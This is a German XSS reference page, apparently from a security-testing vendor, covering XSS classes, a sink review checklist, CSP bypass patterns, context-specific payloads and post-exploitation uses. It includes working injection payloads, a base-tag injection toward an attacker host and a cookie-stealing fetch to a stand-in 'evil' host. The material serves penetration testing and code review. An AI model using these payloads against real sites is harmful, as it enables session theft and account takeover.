Neu Das Whitepaper zur kontinuierlichen Sicherheitsvalidierung 2026 ist verfügbar. Whitepaper lesen →

XSS — umfassende Referenz.

Die vollständige XSS-Landschaft: reflected, stored, DOM, mutation. Sink-vs-Source-Strukturierung, CSP-/WAF-Bypass, Hook-and-Control-Muster und die Bedingungen unter denen Payloads wurmartig werden.

Klassen

  • Reflected. Payload im Request, in selber Response reflektiert. Meist URL-Parameter oder Form-POST.
  • Stored. Einmal submitted, an viele ausgeliefert. Kommentare, Profilfelder, Admin-Notes, Log-Viewer.
  • DOM-Based. Payload erreicht Server nie; Client-JS liest aus location.hash, postMessage oder document.referrer und schreibt in gefährliche Sink.
  • Mutation (mXSS). Harmloses Markup mutiert zu malicious Markup beim Re-Parse (z.B. <img src=x> via innerHTML gesetzt, dann serialisiert und re-parsed → Namespace-Confusion).

Sink-seitige Review-Checkliste

  • innerHTML / outerHTML / insertAdjacentHTML. Grep-Target. Wo User-Input dort fließt, default verdächtig.
  • document.write / document.writeln. Moderner Code sollte das nicht nutzen. Wo gefunden, XSS verdächtigen.
  • jQuery .html(), .append(), .prepend(). Semantisch wie innerHTML.
  • React dangerouslySetInnerHTML. Selbstbenennende Sink. Immer eskalieren.
  • Vue v-html / Svelte {@html} / Angular [innerHTML]. Gleiche Form, gleiches Risiko.
  • Attribute-Sinks. setAttribute('href', x) mit javascript:-URL; setAttribute('on*', ...) Event-Handler-Binding.
  • eval, Function, setTimeout/setInterval(string). Überall wo Strings ausgeführt werden.
  • Template-String im Render-Pfad. Server-Side Template Injection landet oft hier.

CSP-Bypass-Muster

  • JSONP-Endpoint in erlaubter Origin. script-src 'self' + self-hosted JSONP-Endpoint = trivial aufrufbar als <script src=/jsonp?callback=alert(1)//>.
  • Angular-Template-Injection. CSP erlaubt das Framework-Bundle; Angreifer injiziert Angular-Template-Syntax, die das Framework auswertet.
  • Dangling Markup. Ungeschlossenes Attribut stiehlt folgendes HTML bis zum nächsten Quote — exfiltriert Secrets selbst wenn Skripte blockiert sind.
  • Base-Tag-Injection. <base href=//attacker> injizieren → Relative-URL-Skripte lösen auf Angreifer-Origin auf.
  • Strict-Dynamic mit Nonce-Reflektion. Reflektierte Nonce in der Response = angreifer-kontrolliertes nonced Script-Tag.

Payload-Encoding-Schnellreferenz

  • HTML-Kontext. <svg/onload=alert(1)> kompakt, keine Quotes nötig.
  • HTML-Attribut (single-quoted). ' onmouseover='alert(1).
  • HTML-Attribut (unquoted). x onfocus=alert(1) autofocus.
  • JavaScript-String-Kontext. '-alert(1)-' bricht aus Single-Quoted-String aus.
  • JSON in Script-Kontext. </script><img src=x onerror=alert(1)> bricht aus dem Script-Block aus.
  • Strict CSP, keine Skripte. <img src=x onerror=fetch('//evil/?'+document.cookie)> blockiert. <iframe src='data:text/html,<script>... oft blockiert. Dangling-Markup suchen.

Post-XSS Use Cases

  • Account-Takeover. Session-Token aus document.cookie lesen (falls kein HttpOnly) oder Session-gebundene Action via fetch triggern.
  • Interne Recon. XSS als SSRF — fetch()-Calls auf interne URLs aus der authentifizierten Victim-Session.
  • Persistenter Foothold. Stored XSS in Admin-facing-Surface → triggert wenn Admin den Report öffnet → Admin-level privilegierte Action unter Angreifer-Kontrolle.
  • Browser-als-Pivot. XSS in Corporate-Intranet-App aus externem Referrer → interne Resourcen via authentifizierter Browser-Session fetchen.
FaustregelXSS immer an zwei Stellen beweisen: einmal mit nicht-destruktivem Payload (alert(document.domain) im Screenshot) und einmal mit Rezept, das der Entwickler gegen seine eigene Staging ausführen kann. Zwei Beweise = keine Diskussion ob real.

Von der Referenz zum Befund

Validieren Sie das in Ihrer eigenen Umgebung.